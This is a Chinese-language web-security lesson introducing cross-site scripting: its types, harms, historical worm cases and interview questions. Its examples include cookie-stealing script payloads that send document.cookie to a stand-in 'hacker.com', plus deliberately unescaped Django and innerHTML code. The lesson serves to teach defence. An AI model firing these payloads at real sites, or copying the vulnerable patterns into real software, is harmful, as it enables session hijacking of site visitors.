03-1. XSS 基礎:什麼是跨站腳本攻擊?

從零開始理解 XSS 的原理、危害與三種類型

03-1. XSS 基礎:什麼是跨站腳本攻擊?

⏱️ 閱讀時間: 12 分鐘 🎯 難度: ⭐⭐ (中等) ⚠️ 警告: 本文內容僅供學習與防禦用途,禁止用於非法攻擊


🎯 本篇重點

理解 XSS(Cross-Site Scripting)的基本原理、危害程度、三種類型(Reflected、Stored、DOM-based),以及真實案例。


🤔 什麼是 XSS?

XSS(Cross-Site Scripting,跨站腳本攻擊) = 在網頁中注入惡意 JavaScript,當其他用戶瀏覽時執行

一句話解釋: XSS 就像是在公共佈告欄上貼一張「有毒」的海報,任何看到海報的人都會中毒。

為什麼叫 XSS 不叫 CSS?

原本應該叫 CSS (Cross-Site Scripting)
但 CSS 已經被 Cascading Style Sheets(層疊樣式表)使用
所以改成 XSS(Cross 的 X)

技術定義

正常顯示用戶輸入:
用戶輸入:Hello World
網頁顯示:<div>Hello World</div>

XSS 攻擊:
用戶輸入:<script>alert('XSS')</script>
網頁顯示:<div><script>alert('XSS')</script></div>
            這段 JavaScript 會被執行!

結果:
其他用戶瀏覽這個頁面時,會看到彈出視窗
(實際攻擊會竊取 Cookie、重定向等)

🎨 生活中的比喻

情境:公共佈告欄

正常使用:
你:在佈告欄貼「徵室友」海報
其他人:看到海報,聯絡你

XSS 攻擊:
駭客:貼「掃描此 QR Code 領 $1000」海報
      QR Code 連到惡意網站
其他人:掃描 QR Code → 手機被植入病毒

關鍵問題:
佈告欄管理員沒有檢查海報內容
讓惡意海報和正常海報混在一起
無法分辨哪些是危險的

技術對應

佈告欄 = 網站頁面
海報 = 用戶輸入(留言、個人資料)
看海報 = 瀏覽頁面
海報內容 = HTML/JavaScript 代碼
管理員沒檢查 = 網站沒有輸出編碼

XSS = 在「公共空間」注入惡意內容
      讓所有訪客受害

💥 XSS 的危害

危害程度:🔥 高(滿分 5 顆星的 4 顆)

可能後果:

1. 竊取 Cookie/Session
   ├─ 取得用戶的登入憑證
   ├─ 冒充用戶身份
   └─ 不需要知道密碼就能登入

2. 釣魚攻擊
   ├─ 顯示假的登入表單
   ├─ 竊取用戶輸入的密碼
   └─ 重定向到惡意網站

3. 鍵盤記錄
   ├─ 記錄用戶的所有鍵盤輸入
   ├─ 竊取密碼、信用卡號
   └─ 傳送到駭客伺服器

4. 竄改網頁內容
   ├─ 顯示假資訊
   ├─ 修改銀行餘額顯示
   └─ 插入廣告

5. 散播蠕蟲病毒
   ├─ 自動複製攻擊代碼
   ├─ 感染所有訪客
   └─ 病毒式傳播

威脅等級:⭐⭐⭐⭐(高)

真實案例

案例 1:Twitter(2010)- XSS 蠕蟲

事件:Mikeyy Worm

攻擊方式:
1. 駭客在推文中插入 XSS 代碼
2. 任何人瀏覽該推文 → 自動執行 JavaScript
3. JavaScript 自動發推文(包含同樣的 XSS 代碼)
4. 病毒式傳播

結果:
- 1 小時內感染數千名用戶
- 每個受害者都自動發推文
- 推文內容:「Don't Click: http://malicious-link」
- Twitter 緊急修補漏洞

影響:
- 大規模服務中斷
- 用戶信任度下降
- 媒體大量報導

案例 2:MySpace(2005)- Samy 蠕蟲

事件:史上最快傳播的 XSS 蠕蟲

攻擊方式:
1. 駭客 Samy 在個人檔案中插入 XSS 代碼
2. 任何人瀏覽他的檔案 → 自動執行 JavaScript
3. JavaScript 自動:
   - 將 Samy 加為好友
   - 在受害者檔案中複製同樣的 XSS 代碼

結果:
- 20 小時內感染 100 萬用戶
- 每個受害者的檔案都寫著「Samy is my hero」
- MySpace 被迫關站修復

法律後果:
- Samy 被判 3 年緩刑
- 90 天社區服務
- 禁止使用電腦

案例 3:Facebook(2011)

事件:XSS 漏洞竊取 Access Token

攻擊方式:
1. 在 Facebook 留言中插入 XSS 代碼
2. 用戶點擊留言 → 執行 JavaScript
3. 竊取用戶的 Access Token
4. 使用 Token 存取用戶資料

後果:
- 數萬用戶受影響
- 個人資料外洩
- Facebook 緊急修補

🔍 XSS 如何發生?

根本原因

網站直接將用戶輸入顯示在頁面上
沒有進行 HTML 轉義(Escape)

危險模式:
response = f"<div>歡迎, {username}</div>"
                        ↑
                    直接插入用戶輸入,沒有轉義

漏洞代碼範例(Django)

# ❌ 危險:不轉義用戶輸入
from django.http import HttpResponse

def welcome(request):
    username = request.GET.get('name', 'Guest')
    # 直接拼接 HTML
    html = f"<h1>歡迎, {username}!</h1>"
    return HttpResponse(html)

# 正常使用:
# /welcome?name=John
# 顯示:歡迎, John!

# XSS 攻擊:
# /welcome?name=<script>alert('XSS')</script>
# 顯示:歡迎, <script>alert('XSS')</script>!
# 執行:彈出 'XSS' 視窗

# 真實攻擊:
# /welcome?name=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>
# 結果:Cookie 被發送到駭客伺服器
# ❌ 危險:Template 中使用 safe 標籤
from django.shortcuts import render

def show_comment(request, comment_id):
    comment = Comment.objects.get(id=comment_id)
    return render(request, 'comment.html', {'comment': comment})

# template: comment.html
# {{ comment.content|safe }}  ← 危險!關閉自動轉義
#                     ↑
#                  告訴 Django 不要轉義,信任這段 HTML

# 如果 comment.content 包含:
# <script>alert('XSS')</script>
# → 直接執行 JavaScript
# ❌ 危險:留言板沒有轉義
def add_comment(request):
    content = request.POST.get('content')
    Comment.objects.create(content=content)
    return redirect('/comments')

def show_comments(request):
    comments = Comment.objects.all()
    # template 直接顯示
    return render(request, 'comments.html', {'comments': comments})

# template: comments.html
{% for comment in comments %}
    <div>{{ comment.content|safe }}</div>   危險
{% endfor %}

# 攻擊者發表留言:
# <script>alert('所有人都會看到這個')</script>
# → 每個瀏覽留言板的用戶都會執行這段 JavaScript

📊 XSS 的三種類型

類型對比

類型儲存位置危害範圍難度持久性
Reflected XSS(反射型)URL 參數單次攻擊不持久
Stored XSS(儲存型)資料庫所有用戶持久
DOM-based XSSJavaScript單次攻擊不持久

1️⃣ Reflected XSS(反射型)

原理

攻擊代碼在 URL 中,立即反射回頁面

流程:
1. 駭客構造惡意 URL
   http://example.com/search?q=<script>alert('XSS')</script>

2. 誘騙用戶點擊(釣魚郵件、社交媒體)

3. 用戶點擊 → 伺服器將 q 參數顯示在頁面上

4. JavaScript 執行

特點:
✅ 代碼在 URL 中
✅ 不儲存在伺服器
✅ 需要誘騙用戶點擊
✅ 單次攻擊(一次性)

範例

# 漏洞代碼
def search(request):
    query = request.GET.get('q', '')
    # 直接顯示搜尋關鍵字
    html = f"<h1>搜尋結果: {query}</h1>"
    return HttpResponse(html)

# 正常使用:
# /search?q=python
# 顯示:搜尋結果: python

# XSS 攻擊:
# /search?q=<script>alert(document.cookie)</script>
# 顯示:搜尋結果: <script>alert(document.cookie)</script>
# 執行:顯示用戶的 Cookie

攻擊場景

駭客發送釣魚郵件:
主旨:「您的帳號有異常登入」
內容:「請點擊以下連結驗證:
       http://yourbank.com/verify?token=<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>」

用戶點擊:
1. 連到真實的銀行網站
2. URL 中的 JavaScript 執行
3. Cookie 被發送到駭客伺服器
4. 駭客使用 Cookie 登入用戶帳號

2️⃣ Stored XSS(儲存型)

原理

攻擊代碼儲存在資料庫,每次瀏覽都會執行

流程:
1. 駭客在留言板輸入:
   <script>alert('XSS')</script>

2. 網站將留言儲存到資料庫(沒有轉義)

3. 任何人瀏覽留言板 → 從資料庫取出留言

4. 留言顯示在頁面上(沒有轉義)

5. JavaScript 執行

特點:
✅ 代碼儲存在資料庫
✅ 持久性攻擊
✅ 影響所有瀏覽者
✅ 最危險的類型

範例

# 漏洞代碼
def add_comment(request):
    content = request.POST.get('content')
    # 直接儲存,沒有過濾
    Comment.objects.create(content=content)
    return redirect('/comments')

def show_comments(request):
    comments = Comment.objects.all()
    return render(request, 'comments.html', {'comments': comments})

# template: comments.html
{% for comment in comments %}
    <div>{{ comment.content|safe }}</div>   危險
{% endfor %}

# 攻擊者發表留言:
<script>
  fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>

# 結果:
# 每個瀏覽留言板的用戶
# 他們的 Cookie 都被發送到駭客伺服器

常見攻擊位置

任何允許用戶輸入並顯示的地方:

✅ 留言板 / 評論
✅ 個人簡介
✅ 論壇帖子
✅ 聊天訊息
✅ 用戶名稱
✅ 產品評論
✅ 部落格文章

3️⃣ DOM-based XSS

原理

JavaScript 直接操作 DOM,沒有經過伺服器

流程:
1. 網頁 JavaScript 讀取 URL 參數

2. 直接將參數插入 DOM

3. 如果參數包含 <script>,會被執行

特點:
✅ 完全在客戶端發生
✅ 伺服器無法偵測
✅ 不經過伺服器處理
✅ 前端 JavaScript 的問題

範例

<!-- 漏洞代碼 -->
<!DOCTYPE html>
<html>
<head>
    <title>搜尋</title>
</head>
<body>
    <h1>搜尋結果</h1>
    <div id="result"></div>

    <script>
        // 讀取 URL 參數
        const params = new URLSearchParams(window.location.search);
        const query = params.get('q');

        // 直接插入 DOM(危險!)
        document.getElementById('result').innerHTML = '搜尋: ' + query;
    </script>
</body>
</html>

<!-- 正常使用: -->
<!-- /search.html?q=python -->
<!-- 顯示:搜尋: python -->

<!-- XSS 攻擊: -->
<!-- /search.html?q=<img src=x onerror=alert('XSS')> -->
<!-- 執行:彈出 'XSS' 視窗 -->

危險的 JavaScript 函數

// ❌ 危險:innerHTML
element.innerHTML = userInput;

// ❌ 危險:document.write
document.write(userInput);

// ❌ 危險:eval
eval(userInput);

// ❌ 危險:setTimeout/setInterval(字串參數)
setTimeout(userInput, 1000);

// ❌ 危險:location.href(未驗證)
location.href = userInput;

// ✅ 安全:textContent(只插入文字)
element.textContent = userInput;

// ✅ 安全:setAttribute
element.setAttribute('data-value', userInput);

// ✅ 安全:createElement + appendChild
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

🎓 面試常考題

Q1:什麼是 XSS?有哪三種類型?

A:XSS(Cross-Site Scripting)是跨站腳本攻擊

定義:
在網頁中注入惡意 JavaScript
當其他用戶瀏覽時執行

三種類型:

1. Reflected XSS(反射型)
   - 代碼在 URL 中
   - 需要誘騙用戶點擊
   - 單次攻擊,不持久
   - 範例:/search?q=<script>alert('XSS')</script>

2. Stored XSS(儲存型)
   - 代碼儲存在資料庫
   - 影響所有瀏覽者
   - 持久性攻擊
   - 最危險
   - 範例:留言板、評論

3. DOM-based XSS
   - 完全在客戶端發生
   - JavaScript 直接操作 DOM
   - 不經過伺服器
   - 前端問題

記憶口訣:「反存 DOM」

Q2:XSS 和 SQL Injection 的差異?

A:攻擊目標和影響範圍不同

SQL Injection:
├─ 目標:資料庫
├─ 影響:所有用戶的資料
├─ 後果:竊取/刪除資料庫
├─ 注入位置:後端 SQL 查詢
└─ 防禦:Prepared Statements

XSS:
├─ 目標:其他用戶的瀏覽器
├─ 影響:瀏覽該頁面的用戶
├─ 後果:竊取 Cookie、冒充身份
├─ 注入位置:前端 HTML/JavaScript
└─ 防禦:輸出編碼(HTML Escape)

共同點:
都是「注入」攻擊,注入惡意代碼

關鍵差異:
- SQL Injection:攻擊伺服器和資料庫
- XSS:攻擊其他用戶的瀏覽器

Q3:為什麼 Stored XSS 最危險?

A:因為持久性攻擊,影響所有用戶

Reflected XSS:
├─ 需要誘騙用戶點擊連結
├─ 單次攻擊
├─ 影響點擊連結的用戶
└─ 危害:中

Stored XSS:
├─ 攻擊代碼儲存在資料庫
├─ 持續存在
├─ 影響所有瀏覽者
├─ 無需用戶交互
└─ 危害:高

範例:
留言板 Stored XSS

1. 駭客發表惡意留言(一次)
   <script>fetch('http://hacker.com/steal?cookie='+document.cookie)</script>

2. 留言儲存在資料庫

3. 每個瀏覽留言板的用戶
   → Cookie 被竊取

4. 駭客收集到成百上千個 Cookie
   → 可以冒充所有用戶

持久性 + 廣泛影響 = 最危險

真實案例:
MySpace Samy 蠕蟲
- 20 小時感染 100 萬用戶
- 每個受害者的檔案都被植入攻擊代碼
- 指數級傳播

✅ 重點回顧

XSS 定義:

  • 在網頁中注入惡意 JavaScript
  • 當其他用戶瀏覽時執行
  • 攻擊目標是其他用戶的瀏覽器

三種類型:

  1. Reflected XSS(反射型):URL 中,需誘騙點擊,單次攻擊
  2. Stored XSS(儲存型):資料庫中,持久攻擊,最危險
  3. DOM-based XSS:客戶端,JavaScript 操作 DOM

危害:

  • 竊取 Cookie/Session(冒充身份)
  • 釣魚攻擊(假登入表單)
  • 鍵盤記錄(竊取密碼)
  • 竄改網頁內容
  • 散播蠕蟲病毒

真實案例:

  • Twitter XSS 蠕蟲(2010)
  • MySpace Samy 蠕蟲(2005,100 萬用戶)
  • Facebook XSS(2011)

漏洞原因:

  • 沒有對用戶輸入進行 HTML 轉義
  • 直接將用戶輸入顯示在頁面上
  • Django 使用 |safe 標籤

記憶口訣: 「反存 DOM 偷改傳」= 反射型、儲存型、DOM-based、偷 Cookie、改內容、傳病毒

下一步: 深入學習三種 XSS 類型的攻擊手法與防禦方法


上一篇: 02-3. SQL Injection 防禦 下一篇: 03-2. Reflected XSS(反射型)


最後更新:2025-01-16

0%